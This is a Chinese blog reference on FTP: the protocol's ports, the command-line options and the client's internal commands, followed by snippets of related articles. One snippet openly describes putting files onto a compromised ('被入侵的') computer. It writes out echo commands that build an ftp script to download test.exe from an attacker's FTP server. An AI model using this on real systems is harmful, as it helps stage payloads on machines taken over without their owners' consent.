FTP命令

FTP命令是Internet用户使用最频繁的命令之一,不论是在DOS还是UNIX操作系统下使用FTP,都会遇到大量的FTP内部命令。熟悉并灵活应用FTP的内部命令,可以大大方便使用者,并收到事半功倍之效。ftp命令用来设置文件系统相关功能。ftp服务器在网上较为常见,Linuxftp命令的功能是用命令的方式来控制在本地机和远程机之间传送文件,这里详细介绍Linux
ftp命令的一些经常使用的命令,相信掌握了这些使用Linux进行ftp操作将会非常容易。

【转载使用,请注明出处:http://blog.csdn.net/mahoking

1 命令功能

FTP采用客户端/服务器模型,客户端和服务器使用TCP建立连接。在服务器端,FTP有两个预分配的的端口号,分别为20和21.其中,端口20用于发送和接受FTP数据(ASCII码或二进制文件),该数据端口只在传输数据是打开,并在传输结束时关闭。端口21用于发送和接受FTP的控制信息,FTP服务器通过侦听这个端口来判断是否有ftp客户端的连接请求,FTP会话建立后,端口21的连接在会话期间始终保持打开状态。

在客户端,当发出请求时动态分配端口号,选择范围为1024~65535.当一个FTP会话开始后,客户端程序打开一个控制端口(如1038),该端连接到服务器上的21端口,接受和发送控制信命令;需要传输数据时,客户端再打开第二个端口(如1039),连接到服务器上的20端口。每当开始传输文件时,客户端程序会打开一个新的数据端口,在文件传输完毕后,再自动释放该端口。

2 命令格式

FTP的命令行格式为:ftp  [选项] [主机名]

ftp -v -d -i -n -g[主机名]

3 选项说明

常见FTP参数说明

-g 取消全局文件名;

-d:详细显示指令执行过程,便于排错或分析程序执行的情况;

-i:关闭互动模式,不询问任何问题;

-g:关闭本地主机文件名称支持特殊字符的扩充特性;

-n:不使用自动登录;

-v:显示指令执行过程。

常见FTP内部命令

    在客户端访问FTP时,如果没有在命令行给出服务器的主机名或IP,则客户端将出现“ftp>”提示符,等待用户输入ftp内部命令。

实例:

FTP>ascii: 设定以ASCII方式传送文件(缺省值) 。

FTP>bell: 每完成一次文件传送,报警提示。

FTP>binary: 设定以二进制方式传送文件。

FTP>bye: 终止主机FTP进程,并退出FTP管理方式。

FTP>case: 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母。

FTP>cd: 同UNIX的CD命令。

FTP>cdup: 返回上一级目录。

FTP>chmod: 改变远端主机的文件权限。

FTP>close: 终止远端的FTP进程,返回到FTP命令状态, 所有的宏定义都被删除。

FTP>delete: 删除远端主机中的文件。

FTP>dir[remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件。 FTP>get [remote-file] [local-file] 从远端主机中传送至本地主机中。

FTP>help[command] 输出命令的解释。

FTP>lcd: 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录。

FTP>ls[remote-directory] [local-file] 同DIR。

FTP>macdef: 定义宏命令。

FTP>mdelete[remote-files] 删除一批文件。

FTP>mget[remote-files] 从远端主机接收一批文件至本地主机。

FTP>mkdirdirectory-name 在远端主机中建立目录。

FTP>mputlocal-files 将本地主机中一批文件传送至远端主机。

FTP>open host[port] 重新建立一个新的连接。

FTP>prompt: 交互提示模式。

FTP>putlocal-file [remote-file] 将本地一个文件传送至远端主机中。

FTP>pwd: 列出当前远端主机目录。

FTP>quit: 同BYE。

FTP>recvremote-file [local-file] 同GET。

FTP>rename[from] [to] 改变远端主机中的文件名。

FTP>rmdirdirectory-name 删除远端主机中的目录。

FTP>sendlocal-file [remote-file] 同PUT。

FTP>status: 显示当前FTP的状态。

FTP>system: 显示远端主机系统类型。

FTP>useruser-name [password] [account] 重新以别的用户名登录远端主机。

FTP>?[command]: 同HELP. [command]指定需要帮助的命令名称。如果没有指定 command,ftp 将显示全部命令的列表。

FTP>! 从 ftp 子系统退出到外壳。

【转载使用,请注明出处:http://blog.csdn.net/mahoking

时间: 2024-11-03 03:43:21

FTP命令的相关文章

利用windows系统ftp命令编写的BAT文件上传[转]

利用windows系统ftp命令编写的BAT文件上传[转] 利用windows系统ftp命令编写的BAT文件上传[转] 在开发中往往需要将本地的程序上传到服务器,而且用惯了linux命令的人来说.在windows下就比较麻烦了.为了方便特编写一个BAT程序来帮助需要这样功能的人.如果用其他IDE工具自带的FTP功能也可以,^_^!      命令: todev.bat /index.asp  默认d:\cnweb为网站的根目录.      我的 http://www.lawcar.cn/ htt

FTP命令详解

转载自http://www.edu.cn/20010830/210045.shtml FTP命令是Internet用户使用最频繁的命令之一,不论是在DOS还是UNIX操作系统下使用FTP,都会遇到大量的FTP内部命令.熟悉并灵活应用FTP的内部命令,可以大大方便使用者,并收到事半功倍之效. FTP的命令行格式为:ftp -v -d -i -n -g [主机名],其中-v显示远程服务器的所有响应信息:-n限制ftp的自动登录,即不使用:.n etrc文件:-d使用调试方式:-g取消全局文件名. f

Ubuntu下VSFTPD(六)(常见FTP命令及其功能) (

常见FTP命令及其功能  FTP 命令 功能  FTP 命令 功能  ls 显示服务器上的目录 ls [remote-dir][local-file] 显示远程目录remote-dir,并存入本地文件local-file get remote-file [local-file] 从服务器下载指定文件到客户端 mget remote-files 下载多个远程文件(mget命令允许用通配符下载多个文件) put local-file [remote-file] 从客户端上传指定文件到服务器 mput

通过FTP命令上传下载

用命令如何把自己电脑上的文件上传到被入侵的电脑上呢.方法有很多.用ftp是个不错的选择.方法如下 echo open 你的ftpip >ftp.txt echo user >>ftp.txt echo password>>ftp.txt echo get test.exe >>ftp.txt echo bye >>ftp.txt ftp -s:ftp.txt delftp.txt 这样就可以把test.exe下载下来 也可以做个批处理 @echo of

LINUX FTP命令

1.open IP 地址 2.压缩文件夹 3.put 压缩文件夹 压缩文件夹 FTP>open  [ftpservername],和指定的远程Linux FTP服务器连接? FTP>user  [username]  [password],使用指定远程Linux FTP服务器的用户登录? FTP>pwd,显示远程Linux FTP服务器上的当前路径? FTP>ls,列出远程Linux FTP服务器上当前路径下的目录和文件? FTP>dir,列出远程Linux FTP服务器上当

Linux ftp命令的使用方法 -- 转

http://jingyan.baidu.com/article/066074d68b6a7ac3c21cb038.html FTP(File Transfer Protocol, FTP)是TCP/IP网络上两台计算机传送文件的协议,FTP是在TCP/IP网络和INTERNET上最早使用的协议之一,它属于网络协议组的应用层.FTP客户机可以给服务器发出命令来下载文件,上载文件,创建或改变服务器上的目录. ftp服务器在网上较为常见,Linux ftp命令的功能是用命令的方式来控制在本地机和远程

FTP命令使用

公司给测序的数据放在他们的服务器上,我们要将数据下载下来. ############## 登陆FTP服务器 #################### 1. 命令行输入: ftp host user: password: 2. ftp 启动FTP >ftp open host ############## FTP 服务器查看文件内容 ################# ls : 与shell 中的一样 dir: 同上 cd: 同上 ############### 下载文件和上传文件 #######

linux系统ftp命令

先来一段简单的ftp 下载脚本 ftp -i -n<<EOF open 14.2.33.211 user etl etl cd /etlfile/ftpfile lcd /etlfile/getfile binary prompt mget * prompt close bye EOF ftp安装部分,操作步骤如下: 可以使用yum命令直接安装ftp # yum install vsftpd ftp服务的开启与关闭命令: 开启:# service vsftpd start 关闭:# servi

Linux shell ftp命令下载文件 根据文件日期

需求:ftp获取远程数据的文件,根据文件的创建时间点下载文件. 可以自行扩展根据文件的大小等其他需求. 知识点总结: 1.获取文件的时间: ls -lrt|awk '{print $6" "$7" "$8}' 时间内容: Sep  8 16:03 2.时间格式转换 date -d "Sep 8 16:03" +%Y%m%d%H%M 转换结果: 201709081603 3.指定文件名,正则匹配 pattern="${month}.*.d